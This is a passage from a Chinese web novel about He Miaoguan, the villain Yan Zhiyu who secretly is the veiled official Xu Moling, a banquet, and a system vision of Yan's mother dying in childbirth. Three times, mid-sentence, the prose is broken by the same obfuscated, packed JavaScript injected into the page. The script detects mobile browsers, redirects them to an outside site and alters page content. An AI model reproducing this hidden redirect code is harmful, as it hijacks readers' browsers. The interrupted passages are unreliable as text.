刚刚不是在吵架么? 何妙观觉得男人这种生物简直令人费解。 == 榻上的少女双眼紧闭,唇色苍白,额角冒着冷汗。 燕之郁俯下身,将手搭在她的腕间,令他意外的是,细腻雪白的手腕上有一道浅淡的疤痕,像是寸长的小刀割伤的。他将指尖从凸起的疤痕上移开,落在完好的皮肤上。 脉象很是虚浮。 “清池。”他轻叩墙壁。 一个高挑的女郎从屏风后走出来。 “看看何小姐身上有没有受过伤。”说罢,他向屏风后走去。 清池是他最信任的四名暗卫之一,擅长医术和用毒。 屋里响起解开衣物的细细簌簌声。片刻后,清池轻咳一声,道:“公子,何小姐全身共有四处伤痕。两处在大腿,一处在膝盖,一处在手腕。手腕这处,方才公子应该有注意到,是自己割的。还有……何小姐没有习武的痕迹,应当不是细作,只是个寻常女子。” “其余的伤口是怎么来的?还能看出来么?” “大腿上的伤口,看走向,像自己用剪子扎的。膝盖上的,应该是不小心磕碰到的。” 自己扎的? 燕之郁讶异地抬起眼:“那她可有受人虐待的痕迹?” “这却是没有。”清池答。 沉思片刻后,燕之郁道:“给她把把脉。” 清池认真把起脉,半晌,答:“肝气郁结、心脉不畅、气血两虚。何小姐过去的日子可能不太舒坦,心情也欠佳。这倒是奇怪,明明何家的人,待她好像不算差……” “这个脉象,可是有何会早逝的隐疾?”燕之郁问。 “不会,只是普通的体虚而已。调理一年半载,应当能和正常人一样。”清池答道,“至于心脉不畅……”清池犹豫片刻,缓缓道,“心病还须心药医,公子,这不好说。” 燕之郁感到思绪混乱,慢慢走回榻前。 总觉得眼前人有什么不对劲的地方,但又说不上来。 好想……好想直接把她关进阴暗的地牢里,审上一日一夜。 一日审不出来,便两日,两日审不出来,便三日……日日夜夜,终有愿意吐露真相的那天。 这样,令他困惑的一切,便可以迎刃而解。 他觉得这个法子不错,轻笑一声,目光落在她腕间的疤痕上。 贪生怕死之辈是最好审的,而不惧于自毁的人,往往会在审讯时自戕。事先服毒,以头抢地,咬舌自尽,世上确实有一些他也审不出来的人。 若是如此,困扰他的谜团,便再也解不开。 不。绝不允许这种情况发生。 燕之郁抬起眸,淡淡道:“去帮我找一个姓陆的算命先生。” 14.十四 霞光绚烂,天际紫红。 何妙观悠悠转醒时,已是傍晚。 她望着帐顶繁复的纹样,只觉得浑身绵软无力,思绪也滞重得难以转动。 “是燕郎君送小姐来的。”阿葵轻声道,将一盏温热的汤盅端到床边,“燕郎君说,小姐晕倒是身体太虚的缘故。喏,这是燕郎君准备的四物汤,还有模有样的。小姐趁热喝吧。” 何妙观恍惚想起晕倒前说的最后一句话。 也不知道燕之郁会作何解。 但她实在疲惫,大脑昏沉沉的,不愿意再思考那些令人心烦的事情,由阿葵扶起身,一口一口、慢慢地喝着汤。 乌骨鸡的肉质细腻,汤也鲜美,何妙观喝完两碗汤后,重新靠回引枕,看向窗外。 不知何时,又淅淅沥沥地下起雨。 今夜,还有一场给杜鹤安准备的接风宴。 阿葵瞧出她的倦色,软声劝道:“小姐若是身子不爽利,便不去罢?刺史大人和老夫人定能体谅的。” 何妙观摇摇头:“我要去。” 这场夜宴规模盛大,不仅扬州官员尽数到场,更有众多家眷同行。同她交好的顾家、陆家小姐也会一并前往。 阿葵见状,不再多言,招呼婢女们为她重新梳妆。她容貌本就清丽,不施粉黛时如清水芙蓉,略施胭脂口脂后,愈加精致,苍白的脸颊也终于有了血色。 “我们小姐真好看。”阿葵望着镜中人,美滋滋道。 何妙观不好意思地笑起来。 == 暮色四合,望江楼前车马络绎,一把把彩绸油纸伞在细雨中绽开,宛若花海。 接风宴设在顶层的“花满渚”。此处平日不对外开放,唯四品以上的官员方可启用。厢房内以纱帘与屏风巧妙隔断,左右两侧设宴席,中央是一座雕花高台。房间的四角还设有投壶、弹棋等雅玩区域,各有两位花娘侍奉作陪。 厢房内,飘着一股浓郁却不刺鼻的熏香。和她刚来这个世界,在醉仙楼闻到的一致。 “箬兰,这是什么香?”身旁有人轻声问。 “是帐中香,阿兄。”女郎温婉应答。 一问一答的是从何府一起来的杜鹤安、楚箬兰二人。 男宾和女宾分席而坐。何妙观便和楚箬兰一起向右侧的坐席走去。席位上坐着不少早到的宾客,雍容华贵的妇人们围坐在一处,年轻点的小姐们围坐在另一处,珠环翠绕,光彩照人。 见二人走来,一位身穿浅紫襦裙的少女站起来,笑眯眯地同何妙观打过招呼,又笑盈盈地看着楚箬兰,问道:“这位便是楚小姐?” 这少女名叫顾蕙仙,是原主最好的朋友。 “诸位唤我箬兰便好。”楚箬兰柔柔笑道。 “是哪两个字?”顾蕙仙追问。 “‘竹箬轻覆,兰草幽芳’的‘箬兰’。”楚箬兰答。 “这听起来倒像我们南边的人才会起的名字。”另一个年轻小姐道。 北梁国南北的世家互相看不起,南人嫌弃北人鲁莽粗鄙,北人嫌弃南人狡诈阴柔。这位小姐这么说,便是出于此因。 顾蕙仙淡笑道:“楚小姐,你别同怀翡一般见识,这人上个月刚被卢家退婚,现在对北方人怨气很大。” 陆怀翡骂骂咧咧道:“什么叫‘被’退婚?我还没过门,姓卢的就养起小妾,分明是没把我们陆家放在眼里!顾蕙仙,是我让阿父提的退婚好吧?你胡说八道什么呢?找打是吧?” “哎呀哎呀,陆大小姐饶命!你别生气,你一气,旁人倒要以为我真说中你心事咯!” 陆怀翡气得狠狠捶着顾蕙仙,蕙仙哎哟哎哟地叫唤着,躲到何妙观身后,呜呜地叫着“救救我、救救我”。看到何妙观,陆怀翡才收敛玩笑神色,道:“那个人呢?” “嗯?” “你新得的小郎君呀!”陆怀翡眨眨眼,“蕙仙说,你是因为他才不愿和我们出去的。” “真不是……”何妙观面色讪讪,“前阵子确是身子不适。” “是是是,所以……他人呢?带来给我们瞧瞧嘛。” “我同他真不是那种关系!”何妙观觉得这个“养”字刺耳,“阿父很赏识他的才干。” “是是是,是何伯伯很赏识他——”陆怀翡拖着嗓子重复,“既然如此,那更该让我们见见呀。” 何妙观抬眼向男宾席看去,并未寻见燕之郁的身影。 席间最引人注目的当属杜鹤安,他穿着绣着银色暗纹的藏青色衣服,整个人气质矜贵,宛如一块温润黑玉,正被人簇拥着寒暄。 或许是燕之郁听进去那一句“今后可以井水不犯河水”,终于决定遵循本心,不再缠着她说些乱七八糟的话。 何妙观一时五味杂陈,语气却是淡淡的:“他会不会来,我不清楚。” “啊?你们真不熟啊?”陆怀翡失望地撇着嘴,“不过,他真不知礼数。这等场合怎么能不提早知会一句呢?” “随他吧。”何妙观垂下眼去。 恰在此时,厢房内光线转暗,晚宴将启。无数彩色绸缎自梁间垂落,铺满中央的高台。琵琶与箜篌声起,舞姬们翩跹而入,如穿花蝴蝶。 何妙观托着腮欣赏,看着看着,目光被远处男宾席的一人吸引。 那人穿着寻常的绛色圆领袍,头戴幂篱,身姿挺拔。 屋内戴幂篱本就是怪事,更何况这幂篱下的纱网还是黑色的,更显诡异。 何妙观想不起原书里有这么个奇装异服的人物,又看不见他的眼睛,只好问一旁的蕙仙那人是谁,蕙仙摇摇头,转而问后面的怀翡,没想到素来爱参加宴会的怀翡也说自己头一回见到那个人,此前完全没听人提过。 “你们当真不知道他是谁么?”右侧的楚箬兰轻声开口,面露诧异。 “是谁?” “徐墨陵。” 陆怀翡和顾蕙仙不知朝堂事,依旧摇头。 楚箬兰解释道:“当今圣上面前的红人,中书侍郎,颇得圣眷的。长安没人不认识他。” “他为何要这副打扮?” 楚箬兰的声音混在乐声中,依稀难辨。何妙观只听得只言片语。 大致是说,在长安城时,徐墨陵就习惯戴着黑纱幂篱出门,连上朝都这样。因为颇受盛宠,圣上竟也不甚在意。以是,男子戴黑纱幂篱还一度成为长安城最流行的风俗。 至于徐墨陵为何要戴幂篱,却是众说纷纭。 有的人说是因为他有眼疾见不得光;有的人说是因为他过去护 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16399015|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驾被刺客刺中面颊,右脸有一道寸许长的疤痕,狰狞可怖;还有人说这是人家的癖好而已,就像有的人喜欢戴步摇、有的人喜欢在眉心点花钿一样…… 总之,什么说法都有。 可是戴着幂篱该怎么进食呢?难不成把面纱悄悄撩起来吃? 何妙观想着那般的场景,感觉实在好笑,遥遥打量着青年。他们距离隔得远,中间还有舞娘们晃动的舞姿作隔,她并不怕他看到自己。 但下一刻,原本望向别处的徐墨陵转过头,直直地望回来。 倘若没有黑纱隔着,他们怕早已四目相对。 何妙观有一种被恶鬼盯上的感觉,背后凉丝丝的,冷汗冒出来。她慌忙转开视线,可那被注视的感觉如影随形,纹丝不动。 恍惚间,漆黑的面纱被风吹起来,露出一张鲜血淋漓的脸。原本应该是眼睛地方,只剩下两个洞,里面有白色的东西在蠕动。 明知是错觉,何妙观还是感到反胃,她攥着袖子,努力深呼吸,试图让自己安静下来,但还是无济于事。 “小姐还是不舒服?”阿葵看出她的异样,连忙弯下身轻抚着她的背,“今晚早些回去吧?” 何妙观冷汗涔涔,无力地点点头。 直至坐上马车时,脑海中还时不时浮现出那一张恐怖的、腐烂的脸。 苍白的脸因为被刀刻过字而鲜血淋漓,眼珠被人挖掉,只留下血洞,洞里还生着蛆虫。 何妙观不明白这样的场景为什么会突然出现。 == 因为此次接风宴,何府没多少人在,暗沉沉的。 东院里,唯有燕之郁的屋子还亮着灯。暖暖的灯光让雨夜的走廊也没那么阴森可怖。 “燕郎君因为要看郎中没来,真可惜。”阿葵一边为自家小姐卸去钗环,一边低声絮叨着,“何刺史原本还打算在席上将他引荐给徐大人的……” “看郎中?”何妙观动作一顿。 “哎呀!奴婢没同小姐说么?”阿葵惊呼一声,“燕郎君送小姐回来后,说他手臂上的伤口疼,要去吴郎中那上药,晚上估计来不及赶回来。他还特意嘱咐奴婢定要转告小姐一声的,哎呀,瞧奴婢这记性!”阿葵说着,拍拍自己的脑袋。 或许是自己的确没上好药,或许是燕之郁单纯不想来,胡乱找个理由搪塞。 何妙观只觉得喉头酸涩,心头涌起一股难以言喻的烦闷。阿葵见她神色有异,只当是身体又觉不适,连忙吩咐婢女们去备热水伺候沐浴。 氤氲的热气弥漫开来。 何妙观将下巴抵在屈起的膝盖上,温热的池水因她的动作轻轻荡漾,水面上漂浮的花瓣起起伏伏。 直到此刻,她也不知下午为何会气成那样。 明明她不爱生气的。 她拿不准自己恼羞成怒的原由。 到底是气恼他言语虚浮,没一句真话;还是气恼自己对他有些微的好感,而他却一点也不喜欢自己? 何妙观的目光落在水面的倒影上。 少女黛眉微蹙,眼中满是迷茫,仿佛也参不透自己这纷乱的心绪。 【恭喜宿主!】 系统的提示音毫无预兆地响起来。 【反派的故事一,可以解锁啦!】 15.十五 【三。】 【二。】 【一。】 系统开始倒计时。 眼前一道白光闪过,何妙观又一次晕过去。 这又是什么情况!? 何妙观睁开眼时,发现自己不在浴桶里,而是站在一条覆着厚厚积雪、泥泞不堪的田埂上。她低下头,看着身上的寝衣,一时欲哭无泪。 此时是冬天,空中飘着鹅毛大雪,何妙观却不觉得寒冷。 【宿主,这是永昌十年的平康村。】 【其他的人看不见您,宿主可以自由地体验这一段故事。】 雪下得很大,放眼望去,世界白茫茫一片,看不到一个活人。何妙观沿着泥泞的村路往前走,因为积雪,道路湿滑无比,她走得很慢很慢,好不容易走到村子内,只能看到关得严严实实的房屋。 这样冷的天气,人们都窝在屋里避寒。 唯有一间低矮屋舍的木门大敞。黑乎乎的、凌乱的脚印铺在门口。 何妙观靠近后,听到人们说话的声音。 “张婆婆呢?张婆婆怎么还没有来?” “阿郁,去烧热水,快点!” “剪子呢?剪子在哪里?” 何妙观闻到浓浓的血味。她走到屋里,看到一个年轻的女人躺在床上,旁边坐着一个清癯的男人。男人紧紧地攥着女人的手。女人面色苍白,紧闭着眼睛,满面都是冷汗,汗流到她的脖颈上,黏住她黑细柔软的长发。 女人的身下淌着血,黑红黑红的血把床褥浸湿,散发着令人呕吐的气味。 何妙观呆呆地站在门口,她从没见过人生孩子。这么多的血让她很害怕,不敢再往里走。 “张婆婆她什么时候才能来?”男人面色凄惶地问不断地给女人擦汗的妇人。 “隔壁村的孙家也是今天生,张婆婆上午过去的,估计还要一会。” 男人闭上眼睛,嘴唇一张一合,不知在小声念什么。 妇人问:“陈郎,你夫人还没到十个月吧?” 男人摇摇头,面色痛苦:“没,没有,这才不到七个月……” 何妙观听到一阵脚步声,一个矮小的、胖胖的老婆婆走进来。 “张婆婆!张婆婆!”男人看见希望,连忙站起来,“我夫人,我夫人她——” “她从什么时候起这样的?”张婆婆在床边坐下。 “半个时辰前开始的,她一这样,我便让阿郁到你家找你,但你不在——阿郁,热水呢?” 门帘掀动,一个六七岁的男孩子从后门进来,手里端着一大盆冒着滚滚白烟的热水。他面上沾着灶灰,但仍旧能看出模样精致秀丽。因为身体瘦削,他的动作很吃力。 男孩将铜盆在床边放下,怔怔地看着床上的女人。 “阿娘……?” 女人睁开眼,眼珠子转转,看着他。 张婆婆用热水烫过手帕,擦干净双手,开始推女人的肚子。女人再次闭上眼睛,血色全无的嘴唇咬得紧紧的。 “阿梧,用力,用力!”张婆婆用力地按着女人高耸的腹部,“孩子很快就出来的!” 女人很瘦,容貌也很年轻,大大的肚子和她看上去一点都不相称。泪水混着汗水从她的眼角不断滑落,沾湿她长长的、浓密的睫毛。来帮忙的妇人用热水打湿的手帕一遍一遍地擦拭女人沾满污血的身体,铜盆里的清水迅速被染成淡红。 “阿郁,再去烧一壶,快点!” 小燕之郁抱起铜盆往外走。 何妙观跟上去。 灶房里,冰冷的空气凝结成白雾。 木柴点燃后,小燕之郁蹲在铜壶边等水烧开。飘飘扬扬的雪花从裂开的窗洞里飘进来,落在他长长的眼睫毛上,很快又因为火焰的热气,融化成雪水,让他的脸上变得湿漉漉的,看起来像刚刚哭过一样。 水沸后,小燕之郁把铜盆灌满,再次抱起,小心翼翼地走向内室。 何妙观看着他有些踉跄的样子,想要伸手帮他抬一下,但指尖却穿透铜盆,什么也摸不到。 屋里传来女人痛苦的喘息。 一炷香过后,一团沾着血的雪白肉块落下,被张婆婆抱起来。 “是个女娃娃。”张婆婆道。 女人睁开眼,看着张婆婆抱过来的孩子,唇角微微弯起来,虚弱地靠在男人的怀里。 “阿郁,你有妹妹啦。”张婆婆道。 张婆婆坐下来给小燕之郁看。 早产的孩子很瘦弱,面色青紫,紧闭着双眼。他不知所措地看着婆婆怀里的婴孩,慢慢地,唇角也上扬起来。他想起自己藏在枕头底下的拨浪鼓,还没有涂上颜色。 女孩子会喜欢什么颜色呢?红色?绿色?蓝色? 他神游地想着,忽然听到一个虚弱的声音在唤他。 “阿郁……过来。” 小燕之郁连忙走到母亲身边,很乖巧地把脸颊贴在女人冰冷汗湿的掌心里。 “怎么样?她是不是很可爱?”女人问。 小燕之郁点点头。 女人有些疲惫,又闭上眼睛:“好累啊。” 男人俯下身,小心翼翼地环着女人:“睡吧,阿梧,睡一觉就好。这里有我和阿郁。等你养好身体,我们一起给囡囡想个名字。” 女人点点头,没有说话,过了一会,身下又开始淌血。 张婆婆愣了一愣,迅速把手里的孩子交到小燕之郁怀里,查看女人的情况。 男人慌张起来:“张婆婆,这、这——刚刚不是止住了么?” 张婆婆一边摁着女人的大腿,一边道:“白芨,去把箱子里的白芨粉拿过来!” 像是察觉到什么,小燕之郁看着女人,但又不敢靠近。怀里的婴孩很轻,呼吸也很微弱。他害怕自己的动作会伤害到她,只敢站在原地,眼睁睁看着屋里的人忙忙碌碌。浓重的血腥味又弥漫上来。 手臂开始发酸,小燕之郁维持着最初的姿势抱着婴孩。他低下头,怀里的孩子闭着眼睛,对屋里的一切全然不知。 “张婆婆,你救救阿梧,你救救阿梧!” 张婆婆面色冷峻地给女人敷药,但血怎么也止不住,越流越多,把刚刚撒上去的白芨粉冲出来。张婆婆的额角冒着汗。来帮忙的妇人们用剪子把布料剪成细细的布条,用力缠上去,但依旧无济于事。 小燕之郁愣愣地看着女人逐渐失去血色的脸。空洞的眼睛里流出一行细细的眼泪。 “阿郁。”男人从他怀里接过孩子,“你,你去跟你娘说说话。” 小燕之郁走过去,轻轻喊一声:“娘?” 女人没有回应他。 他用指尖轻轻碰碰女人的面颊,女人的脸上尽是汗水和泪水。他把指尖放在女人的鼻子底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16409120|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,想感受呼吸,但什么也感受不到。 大脑嗡嗡作响,视线里的一切模糊不清,心脏像是被人攥住一样,整个人都开始疼。 啪嗒啪嗒的眼泪落下来,把床褥浸湿。 == 女人死后,被葬在村外的乱葬岗里。 何妙观认得这里。是她刚来这个世界时,遇到燕之郁的地方。 大雪继续纷纷扬扬地下着,覆盖上新垒的坟头。葬礼结束后,男人拉着小燕之郁深一脚浅一脚地往回走。 屋里的床边坐着一个妇人,是生产那日来帮忙的周家婶婶。 周家婶婶是来暂时照看婴孩的。平康村没有其他在哺乳期的妇人,只能给孩子喂米糊。见两人回来,周家婶婶把米糊放下,看向男人,目光有些犹疑。 “阿郁,婶婶有话同你爹讲,你先看着妹妹。”周家婶婶道。 小燕之郁点点头,接过襁褓。婴孩睁开乌溜溜的眼睛,四目相对,怀中的孩子打量着他。 他努力弯起唇,挤出一个笑。 周家婶婶和男人走到了隔壁的屋里。何妙观跟上去,想听听他们说什么。 “陈郎,我今日给她喂米糊,喂了两次,全都吐得干净。”周家婶婶一脸哀色。 男人低垂着眼睛,第一日他从隔壁村买了点人乳,但才喂进去一点,就吐得一干二净,之后米汤和米糊都试过,全都不起效。张婆婆来看过一次,委婉地告诉他这个孩子可能活不了多久。 他不知道该怎么把这个事情告诉燕之郁。 “不管怎么说,周婶,今日多亏有你,不然我们忙不过来。”男人强打起精神。 周家婶婶摆摆手,叹道:“哎,平日阿梧看上去明明很健康,怎么会这样呢?” 另一边,小燕之郁坐在床头,抱着怀里的孩子。他试图从婴孩的脸上看出些阿娘的痕迹,但是还没长开的脸上,什么也看不出来。 快晚膳时,男人让他去周婶家吃饭。燕之郁在周家胡乱扒拉完自己的饭,便急匆匆跑回来,说:“爹,你去吃吧。我来照顾妹妹。” 男人站在床边,背影朝着他,声音很低沉:“阿郁,你过来。” 小燕之郁走上前,看向男人怀里的孩子,孩子的眼睛闭着。他见男人神情严肃,吓了一跳,连忙伸手去探孩子的鼻息,但幸好,他能感受到微弱的气流。 “给妹妹想个名字吧。”男人说。 “我、我给妹妹起名字?”小燕之郁瞪大眼睛。 “嗯。” “妹妹和阿父姓,还是和阿娘姓?”燕之郁问。 他是随阿娘姓燕的。 “……随你阿娘吧。” “阿父,叫燕康乐怎么样?” “健康快乐,挺好的。”男人喃喃道。 男人出去吃饭,屋里只剩下小燕之郁,燕康乐,还有何妙观。 何妙观走向二人,半蹲下身,看着睡梦中的婴孩。她伸出手,想轻轻摸摸这个可怜的孩子,依旧什么都触不到。但像是能感受到她的存在一般,婴孩睁开眼睛,哇哇大哭起来。 “康乐不哭、不哭。”小燕之郁顿时慌了神,笨拙地轻哼起不成调的摇篮曲,手忙脚乱地去够桌上那碗的米糊。 故事接近尾声,何妙观的身体变得轻盈透明的。 燕康乐。健康快乐。 何妙观默念着这个名字。 16.十六 隔着一层黑纱,燕之郁百无聊赖地支着下颌,看向对面女宾席的空处。 这么早就离席,是也觉得这场合太过乏味么? 他原本也不愿来的。 但清泉禀报说,何小姐硬撑着也要来一趟,他便也来看看这晚宴是否会有什么不同。 脚步声伴着寒暄声靠近,是前来敬酒的地方官员。燕之郁不喜饮酒,只略略举起琥珀杯虚碰一下,便又搁回案上。 “下官见侍郎大人今日似乎未曾动箸,可是宴席不合胃口?”扬州通判顾捷躬身笑问。 “还行吧。”燕之郁笑笑,随手点点瓷盏里水润晶莹的青提,“这个味道就不错。” 顾捷眉开眼笑道:“这是专程从龟兹购来的上品,侍郎喜欢便好,侍郎喜欢便好——哎,文曜也来啦?” 话音未落,喝得满面通红的何徵已一屁股坐下,重重拍拍顾捷的肩头:“你顾敏行能来,我何文曜就来不得啊?” 何徵与顾捷乃是同科进士,两人祖籍都是江州,如今更同在扬州府为官,交情匪浅。顾捷的长子顾徊与何妙观幼时便是玩伴,两家甚至曾订下娃娃亲。 然而时至今日,眼看两人将近婚龄,顾捷却没再主动提过娃娃亲的事。何徵猜测他大概是在嫌弃自家闺女名声有瑕,有意悔婚,便也暗自盘算着另觅佳婿。 “下官也敬侍郎一杯。”何徵举杯道。 燕之郁依旧只是杯沿轻碰,算是回应。 何徵仰头饮尽杯中酒,面色更红,醉意已显。 “下官今日,斗胆想向侍郎大人引荐一人。” 燕之郁闻言,黑纱后的眉梢微微地一挑,淡笑道:“刺史请讲。” 何徵从袖中取出一张折叠齐整的洒金宣纸,在案上小心摊开。燕之郁看到纸上的名姓,籍贯,家世,唇角的笑意尽失。 纸上墨迹清晰: ——燕之郁,永昌三年生,扬州平康村。 ——父陈衡,祖籍扬州,平康村读秀堂教书先生,卒于永昌十四年匪患;母燕梧,祖籍苏州,生卒年不详。 何徵为人谨慎,自收到陈寄柔来信后,便着手查探燕之郁的底细。然而一介平民,能在官府文库中查到的,也不过是这寥寥两行字。 “此人可是今科新晋的进士?”顾捷瞥见名字,笑着插话,“文曜啊,我可同你说过?犬子今年正好勉勉强强是一甲第三,是圣上钦赐的探花郎!正可让年轻人多亲近亲近,日后同朝为官,也好有个照应,便如你我一般。” 顾捷自顾自说起来。 何徵白他一眼,懒得接话,只对燕之郁正色道:“徐侍郎,这位燕郎君是下官故友的遗子,如今暂住在寒舍。燕郎君品行才学俱佳,下官有意为他寻个引荐入仕的门路。” 北梁国只有世家子弟方可参与科举。平民若想为官,只有走让三品大员引荐这一条路。 燕之郁笑笑,低眸转着酒杯,杯中光影流转。 “何刺史,如今天下升平,青年才俊比比皆是。若是只凭一言便让本官引荐,本官怕是力有未逮。” “侍郎大人,但这个燕郎君很不一般。”何徵神情愈发郑重。 “嗯。何刺史继续说。”面纱底下,他的笑意愈显。 “下官偶尔同他谈论过时政,此子对时政的敏锐,就算放在世家公子里,也算翘楚。”何徵道,“不瞒大人,便是犬子怀初,在扬州府历练多年,对京中动向也算留心,论起时政见解,恐亦不及这位燕郎君鞭辟入里。” 说罢,下意识地想看看燕之郁的表情,可惜隔着一层黑纱,什么也瞧不见。 “这倒是有趣。”燕之郁实在忍不住,低笑出声,“不过,何刺史,他这般出身,从何得知朝堂时事?莫非是何刺史有意抬举?” 何徵趁势道:“侍郎明鉴。侍郎慧眼识珠,若是愿意拨冗一见,必知下官并非虚言。” 燕之郁便淡淡应了声“好”。 待二人告退,顾捷拉着何徵悄声问:“你说的这位燕郎君,当真如此不凡?” 何徵轻哼一声:“骗你作甚。” “文曜,那可得让犬子与他结识一番。今年秋闱,犬子的策论可是被称为——” “停停停!顾敏行!这话你也说过三回!”何徵装作不耐地摆手。 顾捷抚须笑起来:“失言失言,一时忘形哈哈。不过文曜,你同我说句实话,你力荐这个燕郎君,可真是只为才学?” 何徵默然不语。 何妙观身体不好,他不愿她远嫁异地。而扬州同何家登对的世家,不过顾、陆、刘、陈四家。而家中尚有适龄未婚郎君的,只剩顾、刘二家而已。 若是顾徊不成,便只剩下刘家的刘二公子,刘通。 可刘通相貌奇丑,连他自己瞧着都觉碍眼,绝对是行不通的。 这才将心思转到燕之郁身上。一来容貌无可挑剔,二来才学确是出众,虽说家世寒微,但反正要赘进何家,倒也无所谓。 更何况,倘若能走引荐这条路,当个什么本地的小官,那便更体面些。 == 晚宴散后,燕之郁登上马车。 车马辚辚,向何府的反方向驶去。 溶溶月色,落满衣袖。 他跟着提着灯笼的仆役,穿过长廊,在屋前停下。 虽已月余未归,但因日日有人洒扫,屋内依旧纤尘不染。临窗的黑漆木案上,整齐地码放着一叠文书册页。 洗漱后,燕之郁在案前坐下。 少帝李循命他来扬州,是为水渠之事。 徐州旱灾频发,工部遂提议从扬州一代修水渠北调。李循年少多疑,此等大兴土木之事,不放心交给旁人,便命他从长安来扬州,明面说是巡查风情,私下却是让他挑选一二能堪重任之人,未来全权负责水渠一事。 燕之郁翻开册页,目光掠过一个个名字与履历。指尖拈起朱笔,在砚中轻轻一蘸,在“何徵”与“顾捷”二人的名讳旁,落下“不宜”二字。 == 翌日清晨,进来回禀的清泉说何府无事发生。 清泉擅于变声易容,昨夜便是他扮作燕之郁留在何府,以防不测。 “接下来,都是属下留在何家?”清泉问道。 “嗯。” 杜鹤安也在何府,清泉留着,也能防着点他的动向。 虽说现在的杜鹤安看上去人畜无害。但燕之郁对他仍旧心存芥蒂。 他们是同一类人。 “公子……晚上属下能睡床吗?”清泉苦着脸,语气带着央求,“贵妃榻硬邦邦的,属下昨日一宿没睡好。” “不能。” 是不容商量的口吻。 他不喜欢别人睡自己的床。 “哎呀!可何小姐都可以……” 燕之郁微微一怔,随即道:“那时是意外。” “行吧行吧……可是公子,除却何小姐,根本没有人会来找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16413772|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公子。”清泉忍不住撇嘴,“公子同何小姐又刚吵过架,属下猜,这十天半月,何小姐怕是再不会来找公子,让属下睡一下……” “我们何时吵过架?”燕之郁蹙眉,感到莫名其妙。 “何小姐都被公子气晕过去,这还不算吵架啊……”清泉小声嘟囔道。 燕之郁正系幂篱的手微微一顿,抬眸道:“你说,何小姐是被我气晕过去的?” 清泉自知失言,连忙找补:“公子恕罪!这话是清池说的,呃,说是有脉象做依据的。” 清池把脉时,确实说过“肝气郁结”之类的话,但他未曾想到,这是委婉地说是自己气的。 生平头一回见识到人真的能被“气晕”,燕之郁略感荒谬,片刻后,淡淡道:“我从未同何小姐说过一句重话。何小姐或许是在别处受过委屈,并非因为我。” 清泉腹诽道:人家都说以后要“井水不犯河水”,一看就是因为你才生气嘛,公子,你这人怎么能敢做不敢当,欺负人还不认账…… 正说话间,清池走进来,眼角弯弯的,藏不住笑意。 但在看到燕之郁的脸时,笑意消失殆尽。 少年神色如常,依旧是那副淡漠疏离的模样,淡淡的、不含情绪的目光撇过来,落在清池眼里,却无端透出一股兴师问罪的压迫感。 清池一边在心里暗骂清泉多嘴,一边低声道:“脉象上看,何小姐确实是郁结心中,而且、而且昨日何小姐又对公子说那些话……属下才敢说是因为公子,何小姐才晕过去的……” 燕之郁问道:“哪些话?” 清池喉头一紧,硬着头皮道:“就是那些……爱不爱、喜不喜欢、讨厌不讨厌的话。” 想起昨日的交谈,燕之郁纤长的睫毛垂下来,眉头蹙得紧紧的。被睫毛遮挡的黑色瞳仁看不见一点光泽,幽深得像深林中的一泽静潭,透不进丝毫光亮。 他昨日只顾着何妙观晕厥之事,此刻细想,才记起她晕倒前那番言语。 “你对我抱着何种态度,我心中有数。” “你分明厌恶我,可为何又要说这样暧昧不清的话。” 燕之郁想不明白,她到底是怎么看出自己“不喜”的。 他虽然未尝有过男欢女爱之事,亦不知如何同心爱之人相处,但却见过世家公子追求心仪的女郎、见过恩爱夫妻相处时的模样,因而大致知道该说什么话、做什么事。 和何妙观相处时一言一行,他皆是悉心模仿而来,不敢有半分怠慢。 到底是哪里出错。 明明……明明连何宝珠都看得出来,他对待她是不一般的。 看到他的神色陡然变得凝肃,清池和清泉一收嬉笑的姿态,屏息凝神,敛容侍立一旁。 一息后,燕之郁轻嗤一声,带着蔑意的笑容从唇角浮上来,不知道是在嘲讽谁。 “你前来,是有正事要禀报吧。”他侧过脸问道。 清池连忙点头:“是。公子要寻的那位陆先生,如今在扬州城外的凤梧山中隐居。但听闻他已不再为人卜算,若要求签问卦,只能寻他的弟子。他的弟子就住在江都县,今日便得空。公子可要前往?” 斜斜的阳光落进来,照在他绯红的裙袍上,流溢着绚烂的光泽。 燕之郁觉得刺眼,微微眯起眼睛。 他抬手,将幂篱戴上。薄薄的黑纱垂下,顷刻间,整个世界的颜色终于黯淡下来。 “去凤梧山。” 17.十七 茅屋前,童仆阿杏看着眼前的三人,咽咽口水。 左边的青年相貌英武,怀中的剑就有比他还高半寸;右边的女郎面若冰霜,一副敢靠近就打死你的模样;中间这位,虽然看不到脸,但这神秘的面纱还有他的站位,一看就是三个人里最不能惹的。 “陆老先生说他现在不算命……”阿杏怯生生地开口。 